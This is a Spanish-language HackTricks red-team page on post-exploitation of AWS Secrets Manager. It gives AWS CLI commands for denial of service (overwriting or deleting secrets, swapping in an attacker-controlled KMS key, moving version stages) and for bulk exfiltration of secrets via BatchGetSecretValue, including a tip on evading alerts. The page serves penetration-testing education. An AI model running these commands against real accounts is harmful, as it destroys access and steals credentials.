AWS - Secrets Manager Post Exploitation

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Secrets Manager

Para más información consulta:

AWS - Secrets Manager Enum

Leer Secrets

Los secrets en sí son información sensible, check the privesc page para aprender cómo leerlos.

DoS Change Secret Value

Al cambiar el valor del secret podrías hacer DoS a todo el sistema que depende de ese valor.

Warning

Ten en cuenta que los valores anteriores también se almacenan, por lo que es fácil volver al valor anterior.

# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"

DoS Change KMS key

Si el atacante tiene el permiso secretsmanager:UpdateSecret, puede configurar el secret para que use una KMS key controlada por el atacante. Esa key se configura inicialmente de forma que cualquiera puede acceder y usarla, por lo que actualizar el secret con la nueva key es posible. Si la key no fuera accesible, no sería posible actualizar el secret.

Tras cambiar la key del secret, el atacante modifica la configuración de su key para que solo él pueda acceder a ella. De este modo, en versiones posteriores del secret, éste quedará cifrado con la nueva key y, al no haber acceso a la key, se perdería la posibilidad de recuperar el secret.

Es importante notar que esta inaccesibilidad solo ocurrirá en versiones posteriores, después de que el contenido del secret cambie, ya que la versión actual sigue estando cifrada con la KMS key original.

aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE

DoS Deleting Secret

El número mínimo de días para eliminar un Secret es 7

aws secretsmanager delete-secret \
--secret-id MyTestSecret \
--recovery-window-in-days 7

secretsmanager:RestoreSecret

Es posible restaurar un secreto, lo que permite recuperar secretos programados para eliminación, ya que el período mínimo de eliminación para secretos es de 7 días y el máximo de 30 días. Junto con el permiso secretsmanager:GetSecretValue, esto permite obtener su contenido.

Para recuperar un secreto que está en proceso de eliminación, puedes usar el siguiente comando:

aws secretsmanager restore-secret \
--secret-id <Secret_Name>

secretsmanager:DeleteResourcePolicy

Esta acción permite eliminar la resource policy que controla quién puede acceder a un secret. Esto podría provocar un DoS si la resource policy estaba configurada para permitir el acceso a un conjunto específico de usuarios.

Para eliminar la resource policy:

aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>

secretsmanager:UpdateSecretVersionStage

Los estados de un secreto se usan para gestionar sus versiones. AWSCURRENT marca la versión activa que usan las aplicaciones, AWSPREVIOUS conserva la versión anterior para que puedas revertir si es necesario, y AWSPENDING se usa en el proceso de rotación para preparar y validar una nueva versión antes de convertirla en la actual.

Las aplicaciones siempre leen la versión con AWSCURRENT. Si alguien mueve esa etiqueta a la versión equivocada, las aplicaciones usarán credenciales inválidas y podrían fallar.

AWSPREVIOUS no se usa automáticamente. Sin embargo, si AWSCURRENT se elimina o se reasigna incorrectamente, podría parecer que todo sigue funcionando con la versión anterior.

aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
--version-stage AWSCURRENT \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>

Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)

Abusa de la Secrets Manager BatchGetSecretValue API para recuperar hasta 20 secretos en una sola solicitud. Esto puede reducir drásticamente el volumen de llamadas API en comparación con iterar GetSecretValue por cada secreto. Si se usan filtros (tags/name), también se requiere el permiso ListSecrets. CloudTrail todavía registra un evento GetSecretValue por cada secreto recuperado en el batch.

Required permissions

  • secretsmanager:BatchGetSecretValue
  • secretsmanager:GetSecretValue para cada secreto objetivo
  • secretsmanager:ListSecrets si se usan –filters
  • kms:Decrypt en las CMKs usadas por los secretos (si no se usa aws/secretsmanager)

Warning

Tenga en cuenta que el permiso secretsmanager:BatchGetSecretValue por sí solo no es suficiente para recuperar secretos; también necesita secretsmanager:GetSecretValue para cada secreto que desee recuperar.

Exfiltrate by explicit list

aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'

Exfiltrate por filtros (tag key/value o prefijo de nombre)

# By tag key
aws secretsmanager batch-get-secret-value \
--filters Key=tag-key,Values=env \
--max-results 20 \
--query 'SecretValues[].{Name:Name,Val:SecretString}'

# By tag value
aws secretsmanager batch-get-secret-value \
--filters Key=tag-value,Values=prod \
--max-results 20

# By name prefix
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp

Manejo de fallos parciales

# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>

Impacto

  • Rápido “smash-and-grab” de muchos secretos con menos llamadas API, potencialmente eludiendo alertas ajustadas para picos de GetSecretValue.
  • Los CloudTrail logs aún incluyen un evento GetSecretValue por cada secreto recuperado por el batch.

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks